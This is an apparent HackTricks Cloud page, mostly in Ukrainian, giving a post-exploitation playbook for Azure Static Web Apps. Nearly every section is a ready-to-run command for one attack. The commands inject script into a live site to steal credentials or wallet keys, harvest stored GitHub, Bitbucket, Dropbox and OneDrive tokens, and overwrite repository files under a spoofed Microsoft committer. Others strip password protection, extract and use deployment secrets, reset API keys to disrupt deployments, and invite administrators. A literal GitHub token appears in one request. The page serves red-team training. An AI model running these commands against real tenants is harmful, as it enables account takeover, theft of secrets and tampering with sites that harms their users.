Az - Static Web Apps Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Azure Static Web Apps
Для отримання додаткової інформації про цей сервіс дивіться:
Microsoft.Web/staticSites/snippets/write
Можна змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши snippet. Це може дозволити атакуючому інжектувати JS-код всередину web app і викрасти чутливу інформацію, таку як облікові дані або mnemonic keys (in web3 wallets).
Наступна команда створює snippet, який завжди буде завантажуватися web app::
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
Читання налаштованих облікових даних сторонніх сервісів
Як пояснено в розділі App Service:
Запустивши наступну команду, можна прочитати налаштовані облікові дані сторонніх сервісів у поточному обліковому записі. Зауважте, що, наприклад, якщо якісь облікові дані Github налаштовано для іншого користувача, ви не зможете отримати token з іншого облікового запису.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
Тут наведено кілька прикладів команд для перевірки токенів:
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Перезапис файлу - Перезапис routes, HTML, JS…
Можна перезаписати файл всередині Github repo, що містить додаток, через Azure за наявності Github token, відправивши запит, наприклад, як наведено нижче, який вкаже шлях до файлу для перезапису, вміст файлу та повідомлення коміту.
Цим можуть зловживати зловмисники, щоб фактично змінити вміст веб‑додатку для подачі шкідливого контенту (викрасти облікові дані, мнемонічні ключі…) або просто перенаправити певні шляхи на власні сервери шляхом перезапису файлу staticwebapp.config.json.
Warning
Зверніть увагу, що якщо зловмисник яким-небудь чином отримає доступ до Github repo, він також може перезаписати файл безпосередньо через Github.
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
Microsoft.Web/staticSites/config/write
З цим дозволом можна змінити пароль, який захищає static web app або навіть зняти захист з усіх середовищ, надіславши запит, подібний до наступного:
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
Microsoft.Web/staticSites/listSecrets/action
Цей дозвіл дозволяє отримати API key deployment token для статичного застосунку.
Використовуючи az rest:
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
Використовуючи AzCLI:
az staticwebapp secrets list --name <appname> --resource-group <RG>
Тож, щоб оновити додаток, використовуючи токен, ви можете виконати наступну команду. Зверніть увагу, що ця команда була витягнута, перевіряючи як працює Github Action https://github.com/Azure/static-web-apps-deploy, оскільки саме його Azure встановлює за замовчуванням. Через це образ та параметри можуть змінитися в майбутньому.
Tip
Для deploy додатку ви можете використати інструмент
swaз https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token або виконати наступні кроки:
- Завантажте репозиторій https://github.com/staticwebdev/react-basic (або будь-який інший repo, який ви хочете deploy) і виконайте
cd react-basic. - Змініть код, який ви хочете deploy
- Щоб здійснити deploy, запустіть команду (пам’ятайте замінити
<api-token>):
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
Warning
Навіть якщо у вас є token, ви не зможете розгорнути додаток, якщо Deployment Authorization Policy встановлено на Github. Для використання token вам знадобиться дозвіл
Microsoft.Web/staticSites/write, щоб змінити метод розгортання й використовувати th APi token.
Microsoft.Web/staticSites/write
З цим дозволом можна змінити джерело static web app на інший Github repository, проте він не буде автоматично provisioned, оскільки це має бути зроблено через Github Action.
Однак якщо Deployment Authorization Policy встановлено на Github, можна оновити додаток з нового репозиторію!.
Якщо Deployment Authorization Policy не встановлено на Github, ви можете змінити його за допомогою того ж дозволу Microsoft.Web/staticSites/write.
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'
Приклад Github Action для розгортання додатку:
name: Azure Static Web Apps CI/CD
on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main
jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######
close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"
Microsoft.Web/staticSites/resetapikey/action
З цим дозволом можна reset the API key of the static web app, що потенційно призведе до DoSing workflows, які автоматично deploy додаток.
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
Microsoft.Web/staticSites/createUserInvitation/action
Цей дозвіл дозволяє створити запрошення для користувача для доступу до захищених шляхів всередині static web app з певною роллю.
Вхід знаходиться за шляхом, наприклад /.auth/login/github для github або /.auth/login/aad для Entra ID, і користувача можна запросити за допомогою наступної команди:
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually main) to deploy a malicious version of the app in the statagging URL.
The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net
Tip
Зверніть увагу, що за замовчуванням external PRs не запускають workflows, якщо вони не змерджили принаймні 1 PR у репозиторій. Зловмисник міг би надіслати валідний PR у репо, а потім надіслати шкідливий PR, щоб розгорнути шкідливий застосунок у staging-середовищі. Однак існує несподіваний захист: дефолтний Github Action для деплою в static web app потребує доступу до secret, що містить deployment token (наприклад,
secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F), навіть якщо деплой виконується з IDToken. Це означає, що оскільки external PR не матиме доступу до цього secret і external PR не може змінити Workflow, щоб підставити сюди довільний токен без прийняття PR, ця атака насправді не спрацює.
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud

